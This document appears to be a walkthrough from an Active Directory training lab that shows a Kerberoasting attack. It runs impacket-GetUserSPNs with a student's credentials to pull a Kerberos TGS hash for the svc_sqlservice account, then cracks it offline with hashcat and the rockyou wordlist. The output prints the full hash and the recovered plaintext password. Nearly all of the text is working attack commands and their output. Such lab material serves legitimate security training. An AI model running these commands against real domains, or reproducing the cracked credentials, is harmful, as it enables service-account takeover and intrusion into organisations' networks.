Impacket

Use impacket-getuserspn tool to get the corresponding hash.

```
┌─[✗]─[root@pivot]─[~]
└──╼ #impacket-GetUserSPNs dollarcorp.moneycorp.local/student141:'P@ssw0rd' -request -dc-ip 
192.168.234.140
Impacket v0.9.24.dev1+20210906.175840.50c76958 - Copyright 2021 SecureAuth Corporation

ServicePrincipalName                                  Name            MemberOf  
PasswordLastSet             LastLogon  Delegation 
----------------------------------------------------  --------------  --------  ------------
--------------  ---------  ----------
dcorp-dc/svc_sqlservice.dollarcorp.moneycorp.local:60111  svc_sqlservice            2021-10-31 
20:59:19.434169  <never>



$krb5tgs$23$*svc_sqlservice$DOLLARCORP.MONEYCORP.LOCAL$dollarcorp.moneycorp.local/svc_sqlservice
*$7fef39f7ad0cce52b112cbcc3774b10e$3f5fa46afc0c7ac73f9b7390492fbf734140c9a52089d9f39b47458fcea92
1a0761f7e4292b4cb6819a0c96c263454a4513c4a0136ccc0a19726fed1ea2553404ce4caae751e121b2cf6bc15003d7
482229e2c65cc893ccba75c7051375f0d1fb9ed7422a78ff4c1b3d5413d66a463acca2266a5217f29e3a60de14aae8f6
1abfc775c54854c3e2cae34e741ee97822a91583db049d25354023901cc726168344378aea8a3efa4651acc8cc3ee56b
ef38aeedb2408663e93de4c351d006bd5bc9a424f3e96ed5ef1d2fa5f884839923321195dff3256bd58f002f9d62b5e8
9aa35a87103c99422482581f32436f6f663eb14ede5fabafcf9a144ae07ce431c35ffac8744594befd0359fd96db9988
39c74bd1a8ec984a9f0e2d04e827c566d381af7d0e38c5161c94ccf287153c3006a969fe56a27db657da78a497cc2faf
d065678cc0001d90a938bd55342ee6957c9b1ba1bfffd99399ebb427dc43ec483e7cb99078572cfb150716f5996e3be1
8125100e596135571ef5ff8247f22c84ed22ab71bdc300d9ba9b99523053b6332b9af60938dd75385b460ad4e1dafd99
cd665ac6a30dbabe41d8b0c1f7ca9a9677c7148d9b6b3b3f908f395fa75195b5daf277c30c5adbe7cd8d05a0d45647d8
dd09b237e794192eb658cb8c4368bb0d3d4fc2b3243e8222b0bb2de665f9db1fa982c9d361753fbbd2388a13c79f881c
036f683ce30d939f0ac858d5e72f9b07ea7d958658120ada2f171e10cd83f3cd2fa280542e7356f8fe77a2dd4218645b
c6848a630a5f358eb7c6a5092a2f1c0ea70dc200c3ee83c40647f83764b5e5c2debfeaf3b5f6319fa6fdf1d328ae8e9d
9e300f19e643c7a0fa156b4e2c6d556af0784f551b1a5e13b38286726a69f9cf39db4966b6f1b48bbcef71fbe7946aa0
b9ceddbeb00ad82507a85f2e631f3b61117b56856d8c2dd664d32fd3d032faa8edd2cc48c1c2ef12bc0201098dd82f92
d550c5205ed1c617c9cf64f5c6b10e3d6efd2c9d916b96d316e5b634a83caf83aeff34a307ef7be3c9bc7306eeabb320
a41f70862e6dfe20c18a2792358865af7b9e0a043090887212e72c60df29ecfa4e419d06e528af2cae7ebdb2defd7d0e
9acb8ada568149307cd9fc948f80a762aa048c9fab100c86a23f519ddec3742f96e7e15ced0b817a9a8afa965a8bc48b
5b065b33f17250f5713bc077e1f0a527076ba063f529345012bf90da2b847f12228f6a336f78ae9d3a961215438051e3
42f09e7c8b9d77cfa16d027ae820a7ebe776aaf7b32053ee647f3e0a00f741da724ac82cfe833a030c9098e86ec18156
422c3502e3f82c34a7d17d0f2cc48c2e6814cfdf2a0da538660cde702ecce7850cc45a6bad5ff8a3e68e6c5120cccc00
4bdfafaf7fe4b4f6ee67941f8b8a2fd5bba572d61edc38068ce171dfc80f5c172cd2d569465834d827d260fa11c66
```

Use hashcat to crack it.

```
┌─[root@pivot]─[/tmp]
└──╼ #hashcat -m 13100 -o cracked.txt -a 0 tocrack.txt ./rockyou.txt --force --potfile-disable
hashcat (v6.1.1) starting...

You have enabled --force to bypass dangerous warnings and errors!
This can hide serious problems and should only be done when debugging.
Do not report hashcat issues encountered when using --force.
OpenCL API (OpenCL 1.2 pocl 1.6, None+Asserts, LLVM 9.0.1, RELOC, SLEEF, DISTRO, POCL_DEBUG) - 
Platform #1 [The pocl project]
================================================================================================
=============================
* Device #1: pthread-AMD Ryzen 7 2700 Eight-Core Processor, 2883/2947 MB (1024 MB allocatable), 
4MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Applicable optimizers applied:
* Zero-Byte
* Not-Iterated
* Single-Hash
* Single-Salt

ATTENTION! Pure (unoptimized) backend kernels selected.
Using pure kernels enables cracking longer passwords but for the price of drastically reduced
performance.
If you want to switch to optimized backend kernels, append -O to your commandline.
See the above message to find out about the exact limits.

Watchdog: Hardware monitoring interface not found on your system.
Watchdog: Temperature abort trigger disabled.

Host memory required for this attack: 134 MB

Dictionary cache built:
* Filename..: ./rockyou.txt
* Passwords.: 14344392
* Bytes.....: 139921507
* Keyspace..: 14344385
* Runtime...: 1 sec

[s]tatus [p]ause [b]ypass [c]heckpoint [q]uit => s

Session..........: hashcat
Status...........: Running
Hash.Name........: Kerberos 5, etype 23, TGS-REP
Hash.Target......: $krb5tgs$23$*svc_sqlservice$DOLLARCORP.MONEYCORP.LO...a11c66
Time.Started.....: Tue Nov  9 20:26:20 2021, (9 secs)
Time.Estimated...: Tue Nov  9 20:26:33 2021, (4 secs)
Guess.Base.......: File (./rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:  1050.1 kH/s (7.03ms) @ Accel:64 Loops:1 Thr:64 Vec:8
Recovered........: 0/1 (0.00%) Digests
Progress.........: 9158656/14344385 (63.85%)
Rejected.........: 0/9158656 (0.00%)
Restore.Point....: 9158656/14344385 (63.85%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidates.#1....: chelsearockassyeh -> chautuanhuy

Approaching final keyspace - workload adjusted.


Session..........: hashcat
Status...........: Cracked
Hash.Name........: Kerberos 5, etype 23, TGS-REP
Hash.Target......: $krb5tgs$23$*svc_sqlservice$DOLLARCORP.MONEYCORP.LO...a11c66
Time.Started.....: Tue Nov  9 20:26:20 2021, (14 secs)
Time.Estimated...: Tue Nov  9 20:26:34 2021, (0 secs)
Guess.Base.......: File (./rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:  1051.5 kH/s (6.95ms) @ Accel:64 Loops:1 Thr:64 Vec:8
Recovered........: 1/1 (100.00%) Digests
Progress.........: 14344385/14344385 (100.00%)
Rejected.........: 0/14344385 (0.00%)
Restore.Point....: 14336000/14344385 (99.94%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidates.#1....: $HEX[2321686f74746965] -> $HEX[042a0337c2a156616d6f732103]

Started: Tue Nov  9 20:25:48 2021
Stopped: Tue Nov  9 20:26:36 2021
┌─[root@pivot]─[/tmp]
└──╼ #hashcat -m 13100 -o cracked.txt -a 0 tocrack.txt ./rockyou.txt --force --potfile-disable
^C
┌─[✗]─[root@pivot]─[/tmp]
└──╼ #cat cracked.txt
$krb5tgs$23$*svc_sqlservice$DOLLARCORP.MONEYCORP.LOCAL$dollarcorp.moneycorp.local/svc_sqlservice
*$7fef39f7ad0cce52b112cbcc3774b10e$3f5fa46afc0c7ac73f9b7390492fbf734140c9a52089d9f39b47458fcea92
1a0761f7e4292b4cb6819a0c96c263454a4513c4a0136ccc0a19726fed1ea2553404ce4caae751e121b2cf6bc15003d7
482229e2c65cc893ccba75c7051375f0d1fb9ed7422a78ff4c1b3d5413d66a463acca2266a5217f29e3a60de14aae8f6
```

```
1abfc775c54854c3e2cae34e741ee97822a91583db049d25354023901cc726168344378aea8a3efa4651acc8cc3ee56b
ef38aeedb2408663e93de4c351d006bd5bc9a424f3e96ed5ef1d2fa5f884839923321195dff3256bd58f002f9d62b5e8
9aa35a87103c99422482581f32436f6f663eb14ede5fabafcf9a144ae07ce431c35ffac8744594befd0359fd96db9988
39c74bd1a8ec984a9f0e2d04e827c566d381af7d0e38c5161c94ccf287153c3006a969fe56a27db657da78a497cc2faf
d065678cc0001d90a938bd55342ee6957c9b1ba1bfffd99399ebb427dc43ec483e7cb99078572cfb150716f5996e3be1
8125100e596135571ef5ff8247f22c84ed22ab71bdc300d9ba9b99523053b6332b9af60938dd75385b460ad4e1dafd99
cd665ac6a30dbabe41d8b0c1f7ca9a9677c7148d9b6b3b3f908f395fa75195b5daf277c30c5adbe7cd8d05a0d45647d8
dd09b237e794192eb658cb8c4368bb0d3d4fc2b3243e8222b0bb2de665f9db1fa982c9d361753fbbd2388a13c79f881c
036f683ce30d939f0ac858d5e72f9b07ea7d958658120ada2f171e10cd83f3cd2fa280542e7356f8fe77a2dd4218645b
c6848a630a5f358eb7c6a5092a2f1c0ea70dc200c3ee83c40647f83764b5e5c2debfeaf3b5f6319fa6fdf1d328ae8e9d
9e300f19e643c7a0fa156b4e2c6d556af0784f551b1a5e13b38286726a69f9cf39db4966b6f1b48bbcef71fbe7946aa0
b9ceddbeb00ad82507a85f2e631f3b61117b56856d8c2dd664d32fd3d032faa8edd2cc48c1c2ef12bc0201098dd82f92
d550c5205ed1c617c9cf64f5c6b10e3d6efd2c9d916b96d316e5b634a83caf83aeff34a307ef7be3c9bc7306eeabb320
a41f70862e6dfe20c18a2792358865af7b9e0a043090887212e72c60df29ecfa4e419d06e528af2cae7ebdb2defd7d0e
9acb8ada568149307cd9fc948f80a762aa048c9fab100c86a23f519ddec3742f96e7e15ced0b817a9a8afa965a8bc48b
5b065b33f17250f5713bc077e1f0a527076ba063f529345012bf90da2b847f12228f6a336f78ae9d3a961215438051e3
42f09e7c8b9d77cfa16d027ae820a7ebe776aaf7b32053ee647f3e0a00f741da724ac82cfe833a030c9098e86ec18156
422c3502e3f82c34a7d17d0f2cc48c2e6814cfdf2a0da538660cde702ecce7850cc45a6bad5ff8a3e68e6c5120cccc00
4bdfafaf7fe4b4f6ee67941f8b8a2fd5bba572d61edc38068ce171dfc80f5c172cd2d569465834d827d260fa11c66:!!
duro2288!!
```